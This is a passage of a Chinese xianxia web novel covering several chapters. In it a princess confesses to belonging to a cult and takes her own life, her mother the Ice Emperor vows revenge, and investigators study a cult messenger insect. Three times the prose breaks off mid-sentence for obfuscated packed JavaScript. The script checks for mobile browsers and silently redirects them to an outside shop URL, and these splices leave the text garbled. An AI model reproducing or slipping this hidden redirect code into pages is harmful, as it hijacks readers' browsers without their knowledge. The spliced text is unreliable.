西九岭心底不舒服的感觉又多了一些。这人没说出他不是金丹、不是齐鹤扬,这显然是卖了个人情给他,是对他隐瞒魏宁的回报。 苏晴沄则在心底腹诽,要是被引去虬县的是老娘,你早被抓拿归案了好嘛? 凌王并不关心西九岭和苏晴沄的死活,既然蓝莲花找不回来了,那么她关心的事情就只剩下一件,“八年前,你在街上制止唐昊纵马扰民,是为了接近平乐?” “不错。公主是你唯一的女儿,将来凌国的继承人必定出自公主,她毫无疑问是操控凌国的捷径。而我要做的就是制造巧遇,同时打压她当时的恋人——那个唐昊。” 平乐公主的身体微微颤了一下,似乎没想到就连最初的相遇都是假的。 “本以为需要很长时间,谁知道真神庇佑,唐昊突然“移情别恋”,公主跑到飞云山自杀,而出手相救的我便顺利获取了她的芳心。” 听说平乐公主曾经自杀,除了凌王以外的人都十分震惊,原来那样骄横的一个公主也有如此脆弱的时候。 飞云子一脸得色地继续说道:“这还要多谢凌王殿下,把女儿宠得这般蠢,不然我也没那么容易得手。” 听到这里,畏缩在后的唐昊再度抬起了头。他心底的愤怒战胜了怯懦,高声吼道:“你混蛋!” 可没人理会他,所有人的视线都落在了平乐公主身上,此时的天之娇女眼中失去了神采,面色苍白的模样仿佛一只无辜的小白兔。 凌王依旧看着飞云子,语气不见波澜:“孤再问你最后一次,你对平乐没有一点真心吗?” 飞云子好像听到什么笑话一般大笑了起来,笑得都有些喘了才慢慢停下,“你觉得自己的女儿是美若天仙还是蕙质兰心?不过一个不能修炼的凡人罢了,若不是有个做凌王的母亲,谁会看得上她啊?” 听到他的告白,平乐公主看向前方的双眼渐渐泛起晶莹,瞳仁中映不出任何景象,泪水从眼角滑落,脸上却不见波澜。 凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就在两人准备翻看尸体的时候,呆立在一边的平乐公主突然双眼赤红地冲了过来,一把扯住了苏晴沄肩头的衣物猛地往后拉,嘴里吼着:“不许动他!” 她这突如其来的吼声吓了所有人一跳,快走到院门口的唐昊也停了下来,一脸担忧地转头回望。 “平乐!”凌王上前呵止道,“这里没你的事,你跟唐昊一起回宫,让徐嬷嬷陪着你。” “不要!”平乐公主依旧死盯着苏晴沄,“我不要你们动他!” 苏晴沄一脸尴尬地拉住自己的领口,努力避免肩头的衣物滑落。当着人家亲妈也不好动手,一时间僵在原地。 凌王冲唐昊使了个眼色,后者走过去柔声唤道:“平乐妹妹,跟我走吧。” 平乐公主的视线终于从苏晴沄身上移开,却没有看向昔日的情人,而是痴痴望着地上那具已经没了头的尸体,淡淡说道:“阿翰说了,你不行,我不跟你走。” 唐昊瞬间涨红了脸,委屈、憋闷、愤怒……无数情绪爬上脸孔,最终都化为痛苦的悲伤。他没有了金丹修为、没有了英俊外表、没有了给她幸福的自信,七年前狠心离去的时候是如此,七年后被香雪恳求的时候亦是如此。 他想说那可恶的天神教徒满口谎言,可他做不到…… 凌王微微蹙眉,“平乐,那天神教的恶徒对你并非真心,你也听到了……” “你才是什么都不知道。”平乐的手依旧抓着苏晴沄的衣领,但已经放松了力气,情绪也不在激动。她缓缓转头看向母亲,冰蓝色的瞳仁平静无波,“阿翰说了那么多,不过是想帮我撇清罪责罢了。” 第一次,苏晴沄感觉她跟冰帝如此相似,而她说出的话更是令人发寒。 “我知道他拿走蓝莲花不是为了自己,我知道他一开始就打算杀死香雪,我知道他的信仰是真神,因为那——也是我的信仰。” 山风卷动雪片呼啸而起,庭院正中的雾凇负载不住猛然堆积的冰雪,树枝接二连三发出咔咔碎裂的声响,一个接一个断落地面。 暴风雪的中心,凌王袍袖飞扬,一双冰蓝色的瞳仁如冻结冰霜一般覆上银白。 42. 姬月 乌云聚集在小院的上空,雪片如鹅毛般纷纷扬扬,地面迅速结起了一层冰晶。 姬霜的双眸如同这满院的冰雪一般银白而寒冷,胸前那直坠腰间的双层璎珞在风中发出金玉之振,原本围绕在周身的冰晶此刻全部聚集身后、盘旋如背光。此刻的她彰显的不是王者之威,而是化神之怒,让所有人都深刻的意识到她不仅仅是凌王,还是——冰帝! 一国之君、化神巨擘、正道领袖,她的女儿怎么会信仰魔神! 即便真的误入歧途,没有修为也无法修炼魔气,为什么要当众说出来?为什么不能先在私下告诉她这个母亲?! 西九岭开始暗中聚集灵气,就算暴露身份也不能让冰帝掀翻飞云山,秘洞中的证据可还没提取呢。 苏晴沄则借着袍袖的遮掩取出了几张符纸,虽然有些心疼刚骗到手的高阶灵符,但总比暴露身份好。 王岳直接跪在了地上捂着胸口,几乎要被威压抑得喘不上气。 而那个招惹化神怒意的平乐公主却扬起了唇角,冰蓝色的瞳仁中没有一丝惧意,略带挑衅地说道:“阿翰之所以拼命帮我撇清罪责,就是因为他了解您。高高在上的凌王殿下,傲视群雄的化神之尊,怎么可能有一个侍奉魔神的女儿?怎么可能容忍这样污点的存在?!” 她放开苏晴沄、站了起来,抬手拍了下自己的心口,说道:“来啊!像当年杀死自己的夫君那样,再杀了自己的女儿啊!” 一句话出,风雪骤停。 苏、西二人齐齐看向冰帝,就算这位女帝真的为了权力斗争亲手杀夫,可由亲生女儿当众说出来也着实有些伤人。 冰帝的喉头翻滚了一下,仿佛强压怒气般咽下了什么,身后的冰晶跟着风雪消失,眼中的银霜也随之褪去,露出一双冰蓝色的瞳仁。 平乐公主看到母亲收手既没有得意也没有庆幸,只是自嘲般露出了一丝苦笑,颓然垂下双臂,将视线飘向了远方,“从有记忆起,我就不知道什么叫自卑。” 她喃喃诉说起了一切的始末:“虽然先天不足、无法修炼,但只要定期服下丹药便与常人无异,身边的人也都对我卑躬屈膝、逢迎谄媚,就连仙门中人也不例外,所以我觉得修仙也没什么了不起,活的长又能怎样?还不是得给我一个凡人下跪。 十三岁那年,我在宫墙上看到了凯旋归来的唐昊。全城的少女都抛花给他,可他连看都不看一眼;所有将领都进宫面圣,只有他半路跑去喝酒。我喜欢他的傲气,也喜欢他的不羁。我跟着他在城中纵马、胡闹,坚信他将来会封侯拜相、娶我为妻,做一辈子无拘无束的神仙眷侣。” 说到这里她发出一声嗤笑,“两年后唐昊远赴边关,临行时承诺会赶回来为我庆祝十六岁生辰。我相信他能做到,他那么厉害,一定可以马到成功、迅速破敌,然后回来陪我。可到了生辰那天,来的却不是唐昊,而是他的信件。信中说他在战场上遇到了一位仙子,两人携手杀敌、情根深种,决定三个月后结为道侣……结为道侣。那一瞬间我才意识到——纵使贵为公主,我也只是个凡人。” 唐昊的眼中已经满是血丝,他早已忘了当年那封信的内容,因为那只是他随便编出来欺骗平乐的借口。如今再次听到,才想起他随意编出的是一个与仙子相爱的故事。 平乐公主的视线缓缓转向母亲,说道:“您的威望太高、权柄太高、法力太高,就像太阳一般驱散了我身边所有的黑暗。没人敢对我不屑,甚至没人敢对我惋惜。呵,一个化神巅峰生下的孩子居然只是凡人,如何能不惋惜? 您的保护让我忽略了这一切,让我始终自命不凡,直到被唐昊抛弃的那天才终于明白了自己的卑微,一个无法长生的凡人居然奢望跟金丹白头偕老,何其狂妄?何其无知?” “不!我没有这么想!”唐昊试图辩驳。 可平乐公主却抬手制止了他。已经发生的事情无法改变,已经刻下的伤痕无法抹去,已经种下的念头也不可能再根除。 她微微抬起头,望着山顶的方向幽幽道:“那一日,我爬上了飞云山的峰顶,按着母皇讲过的方式引气入体。” “胡闹!”冰帝忍不住叱了一声,“孤早就对你说过,你并非没有灵根,而是先天不足、经脉无法承受灵气。这样的体质绝对不能修炼,一旦引气入体便会经脉膨胀、爆裂而亡,你不记得了吗?!” 平乐公主却笑了,“我当然记得,就因为记得,所以才知道自己是可以引气入体的。吃了那么多灵丹妙药,用了那么多蓝莲花,难道还治不好经脉吗?如果一辈子不能修仙,那还不如死了算了。当时的我,就是这么想的。” 她缓缓转过身,向着飞云子的尸体踱步。 苏晴沄从没有见过那样的眼睛。晶亮的瞳仁如湖面般平静,明明看着前方,可眸子里却只映出了地上的那具尸体,周遭一切都仿佛不复存在,连同她这个站在尸体前面的人也没能入了那双眼。 她下意识挪动脚步、让出了路线。 平乐公主走到飞云子身前,背对着众人继续道:“强行引气入体真的很痛苦,一股股热气涌进经脉,却仿佛无法流转、越聚越多,灼烧和疼痛的感觉渐渐遍布周身,直到意识恍惚。我觉得自己好像睡着了、不再痛了,身体变得很轻、很轻……那种感觉很奇怪,明明无法思考,却清楚的知道自己要死了。 于是我很开心,一切都可以结束了。 可一股清凉却传入了我的身体、驱散了经脉中的炙热。我看到一束光,黑色的光。光的中央,一个身影渐渐清晰,身着素衣却光芒万丈。当刺目的光芒褪去,我终于看清了那人的脸。” 她低下头,看着地上的尸体温柔说道:“是阿翰。” 平乐公主蹲下身子,用手臂抱起了那具尸体,将头轻轻靠在了尸体的肩上,露出了微笑的侧脸。 那动作太过轻柔,笑容太过美好,令苏晴沄忍不住寒毛直竖——那被抱着的可是一具无头尸体啊! “我告诉阿翰,唐昊走了,不能修仙的我连爱情都无法选择,活着又有什么意义?你们猜阿翰怎么说?”平乐公主又笑了,“他说修仙者都是窃取真神之力的盗贼,那种卑劣之人配不上我。” 西九岭微微蹙了下眉,但他并没有打断平乐公主的诉说。 “那时我才知道这世界是有真神的。而修仙者却窃取了真神之力,将真神锁入无尽深渊,妄图将祂的神力据为己有。 从此我不再羡慕修仙,也不再挂念唐昊,我终于找到了人生的目标——我要跟阿翰一起侍奉真神,为真神奉献一切!” 冰帝握拳的指骨咔咔作响,她忍着怒意劝说女儿:“这些歪理邪说不过是天神教美化自己、污蔑正道的妄言,不可相信!” 平乐公主没有反驳,也没有赞同,她似乎已经不关心母亲的想法,只抱着她的阿翰继续诉说:“一年前阿翰说他找到了一个能够医治我的人,只不过那人需要蓝莲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174972|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花的辅助完成功法进阶。” “巧言令色!”冰帝全然不信,连药王都治不好的病,谁能医治? 苏晴沄却是心中一动,难道飞云子救魏宁不仅仅是为了拉他入教? 平乐公主还是那样不置可否,“母皇让我拿出蓝莲花的那晚阿翰就对我说,如果出现什么意外,一定要记住不能说出那个人的名字。只要偷偷给那人蓝莲花,终有一日他功法大成便能治好我。到那时,我将拥有真神之力;到那时,所有修仙者都要对我低头。是我,而不是冰帝之女。” 说到此处,她顿了一下才继续开口:“阿翰开始坦白的时候我还有些伤心,觉得他不信任我。但很快我就明白了,他不是不信任我,而是赌不起。他那样爱我,以至于一点风险也无法承担,所以才没敢说出唐昊的事情。可除此以外,他对我毫无隐瞒。 掐住我的脖子是怕我开口说出实情,隐瞒蓝莲花去向是为了我有一天能够痊愈。他说了那么多,就是为了让我能应对母皇事后的询问,为了让我能平平安安的活下去……当他说自己对我毫无真情的时候我就明白了,他想独自担下一切,他要离开我了!我想大声叫他不要,可我发不出声音……” 她呆呆地看着前方,然后将头缓缓依偎在无头尸身的肩膀上蹭了蹭,柔声道:“傻哥哥,我早就不在乎能不能修炼了。依然没有放弃恢复经脉不过是想多陪你几个春秋罢了。如今你死了,我还要什么修仙,要什么长生?” 冰帝突然警觉到了什么,她踏出一步叫道:“天下之大、世界之广,情爱不过微尘而已!” 平乐公主扭过头再次看向自己的母亲,露出一个超然物外的笑,淡淡说道:“您,不懂爱情。” 一行清泪从冰蓝色的眼眸滑落,在面颊上刻下一道泪痕。随着泪水滴落,一柄匕首掉落地面。平乐公主的手掌无力下垂,掌心一片殷红。失去力量的身体缓缓倒下,露出胸前一片刺目的血色。 毫无征兆的地动将苏晴沄震了一个趔趄,她慌忙稳住身体抬头寻找地动的根源。 只见此时的冰帝双眸银白、面覆寒霜,一根根冰锥从她脚下拔地而起,如尖锐的利剑一柄柄向外铺开,大地仿佛被这些利剑切割般裂出数道沟壑、掀起地动山摇。 “姬霜!” 西九岭的大喝没有叫醒冰帝,却震醒了苏晴沄,她急忙喊道:“下面的秘洞里有天神教的证物!” 冰锥停止了增长,地动也随之平息,二人松了口气。 姬霜闷哼一声,一丝鲜红从她唇角滑落,显然是强行收住法力的反噬。但她没有抬手去擦,也没有抬眼去看周围。她的视线始终落在那与自己相同的冰蓝色眼眸之上,缓缓抬起了脚。 只一步,姬霜就来到了女儿的身边,一贯冰冷的面容上浮出淡淡的温柔,“明月有缺但却傲视群星,虽无常圆却皓洁无暇,高贵、美好、独一无二,所以娘为你取了这个名字——姬月。在娘眼中,你从来都是举世无双。” 说完这句话,她定定地注视着女儿的面庞,仿佛是在等待一句回答,又仿佛只是想记住女儿最后的模样。 良久,她再度开口:“娘,不懂爱情;你,不懂母亲。” 女帝的眼神骤然恢复了冷冽,猛然抬臂一挥,庭院中央的那棵巨树霎时间化为齑粉,满树的雾凇如烟尘般消散一空。 然后,宛若鬼神般冰冷的声音响彻了飞云山:“孤的女儿死了,孤要整个天神教陪葬!” 43. 古詹的推测 受冰帝怒气所累,琴室内的通道已经被碎石填埋、无法使用,三人只得绕去悬崖后面从峭壁上的入口进入秘洞。 原本宽敞的通道此时坍塌了大半,滑落的石块堆积在崩裂的地面上,阻碍着通行,上方不时掉落的碎石和沙土提醒着几人此处已不再稳固。 当看到曾经到过的第一个山洞已经完全被掩埋,苏晴沄有些哀怨的瞟了眼跟来的姬霜,那可是一山洞的丹药啊,得值多少银子?还有那个丹炉,虽然没细看,但只凭感觉扫上一眼也知道是能进博物馆主展厅那种。 西九岭倒不心疼什么灵丹妙药,只是觉得证据被毁实在可惜,转头想拜托姬霜让人仔细打扫一番,看看能不能找到残留的线索。 谁知姬霜先他一步开口道:“都毁了,还在这里做什么?”那语气反而是在埋怨他们两人耽误时间。 苏晴沄忍不住嘴角一抽,但想到这人刚刚承受丧女之痛便没有做声,默默地继续带路。 存放财宝的石洞也几乎完全土崩瓦解,但其中的金银应该可以挖出。放置典籍的石洞塌了一半,还有不少典籍完整的留了下来。布满封印的密室则被上方掉落的石块填埋殆尽,挂在墙上的魔神画像也已经完全淹没。 继续向前没多久,三人遇到一处坍塌的洞道,石块和泥土将洞道堵了个严严实实、根本无法通行。 姬霜索性打开神识查看,“前面还有三个石洞。” 只有三个吗?苏晴沄到有些意外,本以为这里会跟柳城密道一样四通八达、布满整个飞云宗的地下,没想到只有这一小片。 然后就听姬霜用一种事不关己的口气淡淡说道:“其中一个洞里躺着个人。” ———————————回宫分隔符—————————— 凌王宫侧殿内的书案前,曾经的雪国大萨克古詹一脸肃穆地伸出手,缓缓打开了放在面前的木盒。 书案对面是神情肃穆的凌王姬霜,左侧是略显急切的苏晴沄,右侧是目不转睛的西九岭。此时三人的视线都追随着古詹的动作,室内静的落针可闻。 秘洞中俯身躺着的人是张可。他被发现时一手拿着木盒,一手拿着药粉,头后方有被石块砸伤的痕迹,旁边地上则是一片灰烬。 看情况,应该是他发现事态不对之后跑来销毁证据。正准备销毁药粉和木盒的时候,地面上的冰帝发怒造成了塌方,他就被掉落的石头砸晕了。 西、苏二人一眼就认出了他手中的木盒。本来觉得冰帝乱发脾气、摧毁证据的二人,此时都觉得这脾气发得好!要不是落石砸晕了张可,怕是至关重要的避鳞虫就被毁了。 二人说出避鳞虫有可能是寻找圣殿的重要线索后,姬霜就立刻回宫传召了古詹。 因为不知道张可是否已经动过了手脚,里面的避鳞虫状况不明,为确保万无一失他们都忍着没有打开盒子,只等古詹到了再说。 当三人看到麻衣老者从木盒中取出一只木纹花色的小虫时,纷纷露出欣喜之色。 看着小虫在古詹的手掌中渐渐变成肉色,见多识广的凌王也不禁露出了些许好奇,“这就是避鳞虫?” 西九岭应了一声,说道:“天神教用药物控制避鳞虫进行通讯,那些药粉就是给避鳞虫吃的。” 随着他的视线,众人看向了桌上的药粉。药粉跟卢严身上的相同,也是用纸包着。不过此时纸包已经被打开,露出了白色的粉末。 古詹伸出空着的一只手,用手指沾了些许药粉舔了一下,然后发出了沉闷嘶哑的声音:“这药粉能让避鳞虫活,也能让避鳞虫死。” 他的声音把苏晴沄吓了一跳,上次喝茶时他一句话都没有说,苏晴沄还以为这他是个哑巴,没想到突然开口了。 西九岭则有些惊讶,他并未细说药粉的性质,可古詹却只尝了一下就将温秋水测试了数日才得出的答案说了出来,这就是雪国大萨克的本事吗? 姬霜看了眼西九岭的反应,饶有兴味地问古詹:“先生如何得知?” 古詹道:“雪国也有类似的灵药,专门用来控制攻击性强但忠诚度低的灵兽。灵兽会对这类药物形成依赖性,必须定期服用才能存活。虽然不同灵兽喜好的口味不同、剂量不同、配比不同,但用于成瘾的毒物大同小异,很容易尝出来。” “先生可配的出来?” “不难,只是需要些时间。” 姬霜看了眼那一小包药粉,问道:“这些药粉能用多久?” 古詹不知从哪里取出了一柄芸豆大小的骨质小勺,盛了些药粉送到避鳞虫嘴边。 西九岭连忙劝阻道:“先生不可贸然,这药吃多了灵兽也是会死的。” 古詹仿佛没听见一般,逗弄着避鳞虫张开了嘴、开始喂食。 西九岭见姬霜没有反应也不好发作,心底却有些怒气。明明是他们一直追查的线索,却不得已将避鳞虫交给了姬霜这个地头蛇,这要是再被喂死,那可就亏大了! 没想到的是,古詹看似鲁莽,实则耐心。他并非一次性喂完勺中的药粉,而是喂两口就捏着避鳞虫的嘴将其拉远、仔细观察,喉咙里还发出咕噜咕噜的声音。观察一阵之后才又松开避鳞虫的嘴,等它吃几下再捏住、拉远。 如此反复数次,在避鳞虫吃完一勺半药粉的时候,古詹停了下来,对凌王道:“差不多了。”然后他收起小勺,将避鳞虫放回木盒收好,然后看了看纸包里剩下的药粉,“要想知道这药粉能用多久,还得看一次喂食能维持多长时间,这恐怕要试上几天。” 西九岭这才明白是自己关心则乱了。古詹既然说雪国也有类似的药物,那自然知道灵兽服食过量也会致死。 苏晴沄则有些好奇地问道:“老人家,您刚才发出的声音是在跟避鳞虫对话吗?” 古詹不知是喜欢她的称呼还是喜欢她的好学,布满沟壑的面孔上有了一丝慈眉善目的样子,“是尝试对话。”老人用沙哑的声音解释道,“避鳞虫鲜少有人驯养,老朽也未见过对其兽语的记载,只能试试。” “太厉害了!这要让我试,我都不知道怎么开口。”苏晴沄由衷道。 古詹脸上浮起浅笑,显然是很喜欢苏晴沄的性情。 姬霜则更关心实际的问题:“那这些药粉能坚持到配出新药吗?” 古詹面孔换上愁容,显然没什么把握。 苏晴沄大大方方道:“不用担心,这药我们已经配出来了。”说着看向对面的西九岭,神色中还有些得意,“现在正好用上。”这可是她提醒穹山送来的。 西九岭暗暗咬牙。我们?这分明是穹山配的药好吗?你随便开口就许出去了,我还怎么跟凌国讨价还价? 古詹细小的眼睛放出亮光,第一次对西九岭开了口:“既然小哥身上有药,那就不愁时间不够了。” 姬霜有些玩味地看向西九岭,开口将事情砸瓷实了:“如此就多谢齐师侄了。”她特地加重了“齐师侄”三字的读音,提醒这位穹山掌门还需要她来帮忙保守秘密。 西九岭一脸无奈地取出装药粉的玉瓶放到桌上,说道:“暂时只有这些,不过配出新药后我会叫人送来。” 古詹手疾眼快地拿过药瓶,打开闻了闻,然后就不再理会西九岭,面向凌王信心满满道:“这些足够撑到老朽配出药粉了。” 姬霜满意地点了下头,然后对西九岭意味深长道:“如此便不劳穹山道友费心了。” 西九岭明白她的言下之意,虽然不甘却也无可奈何。毕竟是在人家地盘上发现的避鳞虫,又有善驯灵兽的古詹在此,非要争抢就显得太过小家子气了。不过穹山追查天神教这么久,也不可能半途而废,再不济也得获取相关的信息才行。 想着,他看向姬霜问道:“不知凌王是否打算用避鳞虫探查天神教的神殿所在?” 姬霜道:“既然穹山已经推断出避鳞虫可以联系圣殿,那孤自然是要试的。不过,还要等古詹先生完成驯服才行。” 西九岭想起前一只避鳞虫的死,点了点头表示赞同。然后他看向姬霜,准备叮嘱对方到时通知自己。姬霜也看着他,显然是明白他的想法,等着他开口。 就在两人准备开始一轮讨价还价的时候,旁边一老一少的对话传入了他们的耳朵。 “一个时辰能走三百里?就这么个小家伙?” “一个时辰三百里是它白日的行进速度,夜间更快,一个时辰能走五百里。” “五百里?那岂不是相当于半个金丹?我还说这天神教选这么个小家伙传讯岂不是慢的要命,没想到速度这么快。” “速度快只是一方面,依老朽看,天神教会选避鳞虫还是因为它隐蔽性高。” “以前的修士也会用避鳞虫通讯吗?” “不会。避鳞虫再快也不如飞行灵兽,而且它们天生服从母虫,驯养难度高,除非同时驯养母虫和子虫,否则没有效果。” “所以您也觉得母虫就在天神教圣殿?” “应该不错。” “那只要把避鳞虫放出去,就能跟着它找出圣殿了吧?” “不错。不过现在还不知道它送信前需要吃多少药粉,万一多了或者不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏晴沄的好奇心又来了,“信件是用吞食的方式携带吗?”鸽子什么的不都是绑在腿上吗? 古詹将蜡丸递给她看,“这蜡丸上有避鳞虫食物的味道,而且材质不易溶解,在避鳞虫腹中只怕能待上一个月。” 苏晴沄眨了眨眼,“不会被排出去吗?”避鳞虫在路上也要拉屎吧? 古詹面色一沉,嘶哑的声音阴郁了几分,“这个大小是无法被避鳞虫排泄出体外的。” 苏晴沄不解道:“那送到地方之后怎么取出来啊?” 古詹眼底浮现一丝愤怒,冷冷道:“剖腹。” 苏晴沄瞪大了眼,张开的嘴竟不知道该说些什么。她脑袋里还在琢磨避鳞虫这种生物有没有反刍技能,结果就听到了剖腹……这灵兽剖腹了也不能活吧? 古詹继续道:“天神教应该是控制了母虫的,而母虫可以不断繁殖子虫,杀死一只再换一只就行了。” “可圣殿向分殿传讯的时候怎么办?分殿没有母虫啊。” “同时送出两只子虫即可,一只送信,一只备用。” 苏晴沄立时间起了一身鸡皮疙瘩,如果古詹猜的没错,那这天神教的传讯方式可太血腥了! ——————————正邪分隔线—————————— 昏暗的烛火照在青石地板上,晦暗不明。 男人跪在闪烁的光线中,阴影在他低垂的面孔上跳动。在他前方,白玉石桌上的黄金魔神像半明半暗,马头上龇出的熊齿与狮身下的四只虎爪显得格外凶残诡谲。 一团黑气浮在魔神像上方,中心巨大的影像时而模糊时而清晰。 那是一个生着犀角、龇着熊齿的黑色马头,乍一看就如同魔神像的头部投影,但仔细看去便会发现那马头的眼睛是活动的,而它此刻正俯视着跪在下方的男人,漆黑而冰冷。 黑色马头仿佛是活的一般张开了嘴,声音混沌:徐翰死了。 桌前的男人瞳孔一缩,“怎么可能?!” 紧接着,男人被自己脱口而出的言语吓得浑身一抖,猛地将头重重磕在地上,发出砰的一声响,“全知全能的真神不会有错!是您的仆人太过震惊,一时失言,请您给您的仆人一些时间查明原因!” 黑色马头没有开口,只是俯视着男人的背脊,片刻后与黑气一同消失不见。而地上的男人早已汗湿衣襟,仿佛在鬼门关走了一趟。 44. 一笑炫目 飞云宗的实际管理人张可始终没有醒来。 虽然苏晴沄和西九岭特地留在皓城等了一天,但等到的也只有清理秘洞所获的少量线索和飞云宗弟子的寥寥口供。 秘洞中清理出的大多是财宝和魔功典籍,除了能证明徐翰的天神教徒身份,其他价值不大。 少量对追查天神教有所帮助的线索都来自张可倒地处附近的灰烬中。从那里面残留的纸屑中拼出了一些文字,有的是残缺的地名、人名,有的是物资名,而最引人注意的是一个独特的词组——降临。 这两个字让曾经经历玉城大劫的姬霜立刻联想到了魔神,而西九岭陈述的魔气外泄之事也正可以起到印证的作用——天神教企图再次尝试释放魔神! “三百年了,”姬霜盯着那被拼凑出的两个字、面若寒霜,“这天神教还真是百足之虫死而不僵!” “这次还会是献祭吗?”西九岭看着摊开在书案上的碎纸,其中有几个拼凑出的地名,“会不会是在这些地方设了祭坛?” 苏晴沄扫了一眼几个地名,接受皇室教育的她自幼熟记各地舆图,景国以内自不用说,其余势力的情况也大致有所了解,因而立刻看出了问题,“这些地方好像都在凌国境内吧?” 集中心力推测天神教下一步行动的两位化神都没留意到这点反常,姬霜微微点了下头,肯定道:“确实都在凌国境内。” “那就不太对了?”苏晴沄摩挲着自己的下巴,“如果是选择在凌国境内行事,那魔气为什么会去济水?” 姬霜道:“三百年前魔气也是提前潜伏进陆逢体内,多年后才扩散到岑尤,然后在玉城爆发。这一次或许也是这样,最初的潜伏地点在济水,但祭祀地却未必在济水。” 苏晴沄略一思索点了点头。 西九岭却一脸担忧地说道:“但三百年前化神没有满九,魔气花费时间可能是等待岑尤进阶化神。而且三百年前天神教初建,也需要时间招揽教徒、积聚力量。可如今,咱们根本不知道这个隐藏地下的天神教已经发展了多久,究竟有多少教徒?” “你是说,这一次天神教的行动或许更快,而且就在魔气潜伏地附近?” “是不是,查过便知。”姬霜大袖一挥,“你若担心,就让穹山也查济水便是。” 接下来,三人看了飞云宗弟子的口供。 全部二十八名弟子中只有八人确认为天神教徒,其他人竟然都是普通修士,而且对宗主是天神教徒一事感到无比震惊。 而那八个天神教徒中,只有从散修时期就跟着徐翰的两人各种求死、拒不开口,剩余六人都是一审就招,只可惜他们的口供都没什么价值。 几人均表示自己是被张可等人慢慢诱惑招揽的,并称没觉得自己做了什么伤天害理的事情,就是帮徐翰做杂事而已。有的是看丹炉,有的是跑腿买物资,有的是浇花,甚至还有一个专门负责做饭。他们跟其他同门唯一不同的,就是需要定期向真神祷告。 苏晴沄看完有点儿懵,“这皓城分殿是给徐翰配了个私人管家团队吗?” 西九岭有些疑惑地问道:“什么团队?” “呃……就是两个嬷嬷加四个大丫鬟。” 姬霜干咳一声,“确实有点儿像。” 突然,苏晴沄灵光一现,抬手拍了下书案,“对了!魏……”她险些说出魏宁的名字,急忙改口道,“为什么徐翰要建立宗门?而且潜移默化地影响了几个普通修士入教,他应该是在传教吧?” 西九岭也想起了魏宁说过的话,立刻附和道:“有可能。” “那我知道那些地名、人名和物资名是怎么回事了。”苏晴沄双眼发亮,“那是徐翰想要招揽的人啊!他们叫什么、在哪里、需要什么物资,张可销毁的应该是他们正在招揽的潜在教徒的名册!” 西九岭不知道她是怎么推论出这些的,可这个推论似乎真的可以将这些拼凑出来的碎纸联系在一起。 姬霜的神情瞬间凝重,这意味着凌国不知隐藏了多少天神教徒…… 苏晴沄看出了她的顾虑,试探着问道:“要不要把金刚砂借给你?先确认一下调查人员内部没有问题?” 姬霜有些诧异地看向她,“空寂寺的金刚砂?” “嗯。” “在你身上?” “嗯,了空大师借给我的。” 于是姬霜一脸匪夷所思地看向了西九岭,似乎是在问:为什么是给她,不是给你? 西九岭想起当时了空那一副家长相看儿媳妇的模样,抬手摸了摸鼻子、没有说话。 当两人走出大殿时,西九岭问苏晴沄:“我要回穹山一趟,你呢?”避鳞虫的驯养还需要时间,碎片信息的调查也无法一蹴而就,留在皓城已经没有意义。 苏晴沄听后双眼一亮,问道:“我能跟你去看无尽深渊吗?你不是说那里的太阳是黑色的吗?我想看看黑色的太阳是什么样子。” 西九岭有些尴尬地轻咳一声,道:“近日魔神的状况不稳,所以无尽深渊已经封锁,除了掌门就只有齐长老能进入。”在没想好怎么解释之前,他还不能暴露身份。 苏晴沄一脸失望道:“那算了,我回景国吧。”也该回去看看自己那对便宜爹妈了,这阵子她可没少收问候传讯,总要去尽尽孝道,而且天神教的事情也是当面说明才更清楚。 走到玉石阶前时,一个宫人小跑着经过二人身边、下了台阶。顺着那宫人的步伐,两人看到了跪在阶下的唐昊,并听到了那宫人的说话。 “唐公子请回吧,陛下不想见你。” 唐昊一脸震惊地抬起头,似乎没想到会被拒之门外。看到宫人要走,他急忙叫道:“公公!您再帮在下求求陛下吧!公公!公公!” 宫人如同没有听到一般,转身后头也不回的拾阶而上,再次路过苏、西二人、折返而去。 唐昊这时看到了向下走来的二人,立刻如同看见救命稻草般扑了上来,一头栽倒在苏晴沄面前,脑袋往玉石阶上猛磕。 苏晴沄本就不喜欢跪礼,何况还附加磕头?她条件反射般跳到了西九岭的身后,面色不悦道:“有话站着说!” 西九岭微微侧目,原来她不喜欢被人跪。 唐昊一时间有些无措,反应了一下才站起来,说道:“恩公是跟陛下相识的吧?能不能帮在下求个恩典,让陛下准我去为平乐守陵!” 苏晴沄蹙着眉从西九岭身后走出来,看着他问道:“你想去守陵?” 唐昊哀伤道:“生时不能常伴,只愿死后相随。” 苏晴沄直白道:“那也得姬月想让你随啊。” “是在下对不起她,如今只求能够补偿……” 苏晴沄抬手制止他继续说下去,“你补偿不了她,她如今也不需要你补偿。” 唐昊的神色愈加焦急起来,“确实是因为在下离去才让那徐翰有了可乘之机!可在下当年也是无可奈何啊!修为被废、样貌被毁,这般如何能与平乐相配?” “所以是凌王让你这么做的?”要是凌王逼迫倒也可以理解,毕竟他身后还有整个家族。 “不,是在下自己请命离开的。” 苏晴沄蹙了下眉,“你事前跟凌王请示,凌王同意了?” “陛下让昊回去想一日,如果确定要走,便不会阻止。在下觉得,陛下也不愿意平乐嫁给一个废人吧。” “不,”苏晴沄可不这么认为,“如果不想把姬月嫁给你,在你请旨的时候直接恩准便是,为什么还要让你想一日?凌王显然是希望你改变主意。” 唐昊露出错愕的神情,“怎么可能?一国之君如何能看着女儿嫁给一个废物?” 